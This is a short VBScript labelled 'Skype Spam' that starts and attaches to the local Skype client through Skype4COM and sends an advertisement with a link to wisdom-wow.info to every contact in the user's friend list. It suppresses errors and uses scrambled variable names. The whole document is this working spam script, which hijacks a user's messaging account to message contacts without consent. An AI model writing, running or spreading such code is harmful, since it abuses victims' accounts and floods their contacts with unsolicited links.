Skype Spam

on error resume next
 set NrrlP = WScript.CreateObject("Scripting.FileSystemObject")
 set uDlVA = wscript.createobject("wscript.shell")
 set yADAl = WScript.CreateObject("Skype4COM.Skype", "Skype_")
 yADAl.Client.Start()
 yADAl.Attach()
 For Each GAG In yADAl.Friends
 yADAl.SendMessage GAG.Handle, "Hello | Wisdom-WoW | looking for Players ( Testers ) Join us and you'll be rewarded! | http://wisdom-wow.info | thanks in advance."
 next